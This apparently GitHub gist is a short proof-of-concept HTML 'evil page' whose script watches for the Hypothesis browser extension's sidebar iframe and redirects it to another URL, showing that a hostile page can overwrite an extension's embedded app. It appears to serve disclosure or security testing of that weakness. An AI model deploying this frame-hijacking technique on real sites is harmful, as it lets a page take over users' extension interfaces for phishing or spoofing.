Skip to content

Instantly share code, notes, and snippets.

@robertknight
Last active March 8, 2017 11:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save robertknight/dcfa69cec054e0495e4a2b555b4708b3 to your computer and use it in GitHub Desktop.
Save robertknight/dcfa69cec054e0495e4a2b555b4708b3 to your computer and use it in GitHub Desktop.
Overwriting the sidebar app
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
I am an evil page.
<script>
const mo = new MutationObserver(() => {
const frames = Array.from(document.body.querySelectorAll('iframe'));
frames.forEach((f) => {
// Crude test to check if the iframe belongs to the
// H extension. There are many other ways it could be done.
if (f.src.match(/chrome-extension/) && !f.haxxored) {
setTimeout(() => {
f.contentWindow.location = 'https://hypothes.is/app.html';
f.haxxored = true;
}, 100);
}
});
});
mo.observe(document.body, {
childList: true,
subtree: true,
});
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment